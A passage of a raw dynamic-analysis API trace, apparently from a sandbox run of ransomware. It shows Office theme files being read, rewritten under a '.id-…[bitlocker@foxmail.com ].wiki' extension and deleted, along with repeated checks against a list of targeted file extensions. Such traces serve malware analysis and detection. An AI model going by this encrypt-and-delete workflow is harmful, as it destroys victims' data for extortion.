(lpString1=".PNG", lpString2=".wiki") returned -1 [0050.971] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.971] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=34916) returned 1 [0050.971] CloseHandle (hObject=0x214) returned 1 [0050.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0050.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.971] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.972] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.972] GetLastError () returned 0x0 [0050.972] ReadFile (in: hFile=0x214, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x8864, lpOverlapped=0x0) returned 1 [0051.154] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x8870, lpOverlapped=0x0) returned 1 [0051.156] ReadFile (in: hFile=0x214, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.156] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.156] SetEndOfFile (hFile=0x1f0) returned 1 [0051.156] CloseHandle (hObject=0x1f0) returned 1 [0051.157] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.157] SetEndOfFile (hFile=0x214) returned 1 [0051.158] CloseHandle (hObject=0x214) returned 1 [0051.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.159] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0051.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0051.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0051.159] lstrlenW (lpString=".doc") returned 4 [0051.159] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.159] lstrlenW (lpString=".docx") returned 5 [0051.159] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.159] lstrlenW (lpString=".pdf") returned 4 [0051.159] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.159] lstrlenW (lpString=".xls") returned 4 [0051.159] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.159] lstrlenW (lpString=".xlsx") returned 5 [0051.159] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.159] lstrlenW (lpString=".ppt") returned 4 [0051.159] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0051.159] lstrlenW (lpString=".zip") returned 4 [0051.159] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.159] lstrlenW (lpString=".rar") returned 4 [0051.159] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.159] lstrlenW (lpString=".bz2") returned 4 [0051.159] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.159] lstrlenW (lpString=".7z") returned 3 [0051.159] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0051.160] lstrlenW (lpString=".dbf") returned 4 [0051.160] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0051.160] lstrlenW (lpString=".1cd") returned 4 [0051.160] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0051.160] lstrlenW (lpString=".jpg") returned 4 [0051.160] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0051.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0051.160] lstrlenW (lpString=".doc") returned 4 [0051.160] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.160] lstrlenW (lpString=".docx") returned 5 [0051.160] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.160] lstrlenW (lpString=".pdf") returned 4 [0051.160] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.160] lstrlenW (lpString=".xls") returned 4 [0051.160] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.160] lstrlenW (lpString=".xlsx") returned 5 [0051.160] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.160] lstrlenW (lpString=".ppt") returned 4 [0051.160] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0051.160] lstrlenW (lpString=".zip") returned 4 [0051.160] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.160] lstrlenW (lpString=".rar") returned 4 [0051.160] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.160] lstrlenW (lpString=".bz2") returned 4 [0051.160] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.160] lstrlenW (lpString=".7z") returned 3 [0051.160] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0051.160] lstrlenW (lpString=".dbf") returned 4 [0051.161] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0051.161] lstrlenW (lpString=".1cd") returned 4 [0051.161] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0051.161] lstrlenW (lpString=".jpg") returned 4 [0051.161] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.161] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0051.161] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.885] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=27407) returned 1 [0051.892] CloseHandle (hObject=0x1e8) returned 1 [0051.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0051.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.892] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.894] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0051.902] GetLastError () returned 0x0 [0051.902] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0051.923] WriteFile (in: hFile=0x18c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0051.925] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.925] WriteFile (in: hFile=0x18c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.925] SetEndOfFile (hFile=0x18c) returned 1 [0051.925] CloseHandle (hObject=0x18c) returned 1 [0051.926] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.926] SetEndOfFile (hFile=0x1e8) returned 1 [0051.926] CloseHandle (hObject=0x1e8) returned 1 [0051.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.927] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0051.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0051.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0051.927] lstrlenW (lpString=".doc") returned 4 [0051.927] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.927] lstrlenW (lpString=".docx") returned 5 [0051.927] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.927] lstrlenW (lpString=".pdf") returned 4 [0051.927] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.927] lstrlenW (lpString=".xls") returned 4 [0051.927] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.927] lstrlenW (lpString=".xlsx") returned 5 [0051.927] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.927] lstrlenW (lpString=".ppt") returned 4 [0051.927] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0051.927] lstrlenW (lpString=".zip") returned 4 [0051.927] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.927] lstrlenW (lpString=".rar") returned 4 [0051.927] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.927] lstrlenW (lpString=".bz2") returned 4 [0051.928] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.928] lstrlenW (lpString=".7z") returned 3 [0051.928] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0051.928] lstrlenW (lpString=".dbf") returned 4 [0051.928] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0051.928] lstrlenW (lpString=".1cd") returned 4 [0051.928] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0051.928] lstrlenW (lpString=".jpg") returned 4 [0051.928] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0051.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0051.928] lstrlenW (lpString=".doc") returned 4 [0051.928] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.928] lstrlenW (lpString=".docx") returned 5 [0051.928] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.928] lstrlenW (lpString=".pdf") returned 4 [0051.928] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.928] lstrlenW (lpString=".xls") returned 4 [0051.928] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.928] lstrlenW (lpString=".xlsx") returned 5 [0051.928] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.928] lstrlenW (lpString=".ppt") returned 4 [0051.928] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0051.928] lstrlenW (lpString=".zip") returned 4 [0051.928] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.928] lstrlenW (lpString=".rar") returned 4 [0051.928] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.928] lstrlenW (lpString=".bz2") returned 4 [0051.928] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.928] lstrlenW (lpString=".7z") returned 3 [0051.929] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0051.929] lstrlenW (lpString=".dbf") returned 4 [0051.929] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0051.929] lstrlenW (lpString=".1cd") returned 4 [0051.929] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0051.929] lstrlenW (lpString=".jpg") returned 4 [0051.929] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.929] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0051.929] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.929] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1287) returned 1 [0051.929] CloseHandle (hObject=0x1e8) returned 1 [0051.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0051.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.930] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.930] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0051.931] GetLastError () returned 0x0 [0051.931] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x507, lpOverlapped=0x0) returned 1 [0051.933] WriteFile (in: hFile=0x18c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x510, lpOverlapped=0x0) returned 1 [0051.934] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.934] WriteFile (in: hFile=0x18c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.934] SetEndOfFile (hFile=0x18c) returned 1 [0051.934] CloseHandle (hObject=0x18c) returned 1 [0051.935] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.935] SetEndOfFile (hFile=0x1e8) returned 1 [0051.935] CloseHandle (hObject=0x1e8) returned 1 [0051.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.936] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0051.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0051.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0051.936] lstrlenW (lpString=".doc") returned 4 [0051.936] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.936] lstrlenW (lpString=".docx") returned 5 [0051.936] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.936] lstrlenW (lpString=".pdf") returned 4 [0051.936] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.936] lstrlenW (lpString=".xls") returned 4 [0051.936] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.936] lstrlenW (lpString=".xlsx") returned 5 [0051.936] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.936] lstrlenW (lpString=".ppt") returned 4 [0051.936] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0051.936] lstrlenW (lpString=".zip") returned 4 [0051.936] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.936] lstrlenW (lpString=".rar") returned 4 [0051.936] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.936] lstrlenW (lpString=".bz2") returned 4 [0051.936] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.936] lstrlenW (lpString=".7z") returned 3 [0051.936] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0051.937] lstrlenW (lpString=".dbf") returned 4 [0051.937] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0051.937] lstrlenW (lpString=".1cd") returned 4 [0051.937] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0051.937] lstrlenW (lpString=".jpg") returned 4 [0051.937] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0051.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0051.937] lstrlenW (lpString=".doc") returned 4 [0051.937] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.937] lstrlenW (lpString=".docx") returned 5 [0051.937] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.937] lstrlenW (lpString=".pdf") returned 4 [0051.937] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.937] lstrlenW (lpString=".xls") returned 4 [0051.937] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.937] lstrlenW (lpString=".xlsx") returned 5 [0051.937] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.937] lstrlenW (lpString=".ppt") returned 4 [0051.937] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0051.937] lstrlenW (lpString=".zip") returned 4 [0051.937] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.937] lstrlenW (lpString=".rar") returned 4 [0051.937] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.937] lstrlenW (lpString=".bz2") returned 4 [0051.937] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.937] lstrlenW (lpString=".7z") returned 3 [0051.937] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0051.937] lstrlenW (lpString=".dbf") returned 4 [0051.937] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0051.938] lstrlenW (lpString=".1cd") returned 4 [0051.938] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 